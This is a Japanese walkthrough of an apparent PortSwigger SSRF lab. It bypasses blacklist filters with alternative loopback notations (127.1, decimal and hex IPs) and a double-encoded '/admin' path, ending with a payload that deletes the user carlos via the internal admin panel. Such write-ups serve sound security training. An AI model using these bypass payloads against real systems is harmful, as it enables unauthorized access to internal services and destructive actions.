Shikata Ga Nai

Private? There is no such things.

LAB: ブラックリスト型フィルタを回避したSSRF攻撃

Hello there, ('ω')ノ

このラボでは、ブラックリストベースのSSRF対策を回避し、管理インターフェース(http://localhost/admin)にアクセスしてユーザー「carlos」を削除する ことが目的です。

アプリケーションには在庫チェック機能があり、内部システムからデータを取得する仕組みになっています。
ただし、2種類のSSRF対策が実装されているため、それを回避する必要があります。


🔍 攻撃の手順

1. 在庫チェック機能を利用してリクエストを傍受する

  1. 任意の製品ページを開く
  2. 「Check stock(在庫を確認)」ボタンをクリック
  3. Burp Suite を起動し、リクエストをキャプチャする

リクエストの例:

POST /product/stock HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=6&storeId=1

このリクエストは、サーバーが 指定されたURLにリクエストを送信する 仕組みになっています。
ここで stockApi パラメータを悪用 すれば、管理インターフェースにアクセスできます。


2. 第一のフィルタを回避(ローカルホスト制限)

  • http://localhost/http://127.0.0.1/stockApi に設定すると ブロックされる
  • IPアドレスの別表現 を利用すると回避可能

▶ 試すべきIPアドレスのバリエーション

http://127.1/(ループバックの短縮表記)

stockApi=http://127.1/

http://2130706433/(10進数表記)

stockApi=http://2130706433/

http://0x7F000001/(16進数表記)

stockApi=http://0x7F000001/

🔹 「127.1」で回避できることを確認!
次に、http://127.1/admin にアクセスを試みる。


3. 第二のフィルタを回避(/admin のブロック)

  • http://127.1/adminstockApi に設定すると ブロックされる
  • admin の「a」をエンコード すれば回避可能

admin のエンコード回避

通常のURLエンコーディング

stockApi=http://127.1/%61dmin

二重エンコーディング

stockApi=http://127.1/%2561dmin

💡 %2561a の二重エンコーディング)を使うと、フィルタをバイパス可能!
これで /admin にアクセスできる!


4. ユーザー「carlos」を削除

  • 管理インターフェースのHTMLを確認し、削除リクエストのパスを特定
  • 例:
    html <a href="/admin/delete?username=carlos">Delete carlos</a>
  • 削除リクエストを送信
POST /product/stock HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://127.1/%2561dmin/delete?username=carlos

「Send」ボタンをクリック!
carlos のアカウントが削除され、ラボクリア!🎉


🎯 まとめ

  1. 在庫チェック機能を使い、Burp Suite でリクエストをキャプチャ
  2. http://127.1/ を使用してローカルホストの制限を回避
  3. /admin の「a」を %2561 にエンコードしてフィルタを回避
  4. stockApi=http://127.1/%2561dmin/delete?username=carlos を送信し、ユーザー削除
  5. ラボクリア!🎉

このラボでは、ブラックリスト型のSSRFフィルタが簡単に回避できることを学びました!
適切な対策としては、ホワイトリストベースのフィルタを導入し、ブラックリスト方式の回避を防ぐことが重要です!

Best regards, (^^ゞ